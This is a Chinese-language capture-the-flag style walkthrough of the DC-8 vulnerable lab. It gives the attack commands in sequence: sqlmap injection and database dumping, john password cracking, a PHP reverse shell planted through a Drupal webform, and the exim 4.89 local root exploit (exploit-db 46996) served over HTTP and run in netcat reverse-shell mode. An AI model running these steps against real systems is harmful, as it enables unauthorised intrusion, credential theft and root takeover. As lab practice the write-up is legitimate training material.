DC-8复现
DC-8复现
描述
DC-8是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
这个挑战有点混合,既是实际挑战,又是关于在Linux上安装和配置的双因素身份验证是否可以防止Linux服务器被利用的“概念证明”。
这个挑战的“概念验证”部分是由于Twitter上被问到一个关于双因素身份验证和Linux的问题,也是由于@theart42的建议。
此挑战的最终目标是绕过双因素身份验证,获取root并读取唯一的标志。
除非您尝试通过SSH登录,否则您甚至可能不知道安装和配置了双因素身份验证,但它肯定在那里并且正在做它的工作。
Linux 技能和对 Linux 命令行的熟悉是必须的,对基本渗透测试工具的一些经验也是必须的。
对于初学者来说,谷歌可以提供很大的帮助,但你总是可以在@DCAU7发推文给我寻求帮助,让你再次前进。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
信息收集
确认目标机器的IP以及开启的端口
访问80端口,点击welcome to DC-8发现这个url有点问题,猜想有sql注入
扫描目录看看有没有登录口
1 | dirsearch -u 192.168.71.130 -e * -x 403 --random-agent |
SQl注入
在nid参数后面加入一个'
后出现了sql报错直接sqlmap跑一下
爆破数据库
1 | sqlmap -u "http://192.168.71.130/?nid=1" --dbs |
得到两个库,其中information_schema
是为了提供了访问数据库元数据的方式,所以可以暂时忽略
爆破表
1 | sqlmap -u "http://192.168.71.130/?nid=1" -D d7db --tables |
一共88个表,包含有users表,
爆破列
1 | sqlmap -u "http://192.168.71.130/?nid=1" -D d7db -T users --columns |
得到16列
爆破字段名
1 | sqlmap -u "http://192.168.71.130/?nid=1" -D d7db -T users -C name,pass,uid --dump |
得到两个用户名和经过加密的密码,将密码保存好,利用john进行爆破
爆破密码
1 | john dc8_pass.txt |
爆出一个:turtle
登录后台
爆出密码后尝试利用登录,前面信息收集的时候就有发现其登录入口,经过测试,发现爆破出来的是john的密码
在Content->Contact Us->Webform->Form settings
里发现有可利用点,可以写入php代码
反弹shell
编写php文件直接执行命令反弹shell
1 |
|
反弹成功
切换交互式shell
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
提权
find查找suid权限的命令
1 | find / -perm -4000 -print 2>/dev/null |
其中的exim4是可利用进行提权的
首先查看exim4的版本
搜索exim 4.89的漏洞
复制文件到当前目录
1 | cp /usr/share/exploitdb/exploits/linux/local/46996.sh hack.sh |
利用python起http服务进行传输
1 | python -m http.server 6666 |
进入tmp文件夹下载文件
1 | cd /tmp //tmp文件夹 |
但是这个文件是不可执行的,所以要对其赋予执行权限
1 | ls -l //查看当前目录下的所有文件权限 |
脚本有两种方式,使用第二种利用netcat再次进行反弹shell
1 | ./hack.sh -m netcat //执行脚本 |
flag
进到根目录下找到flag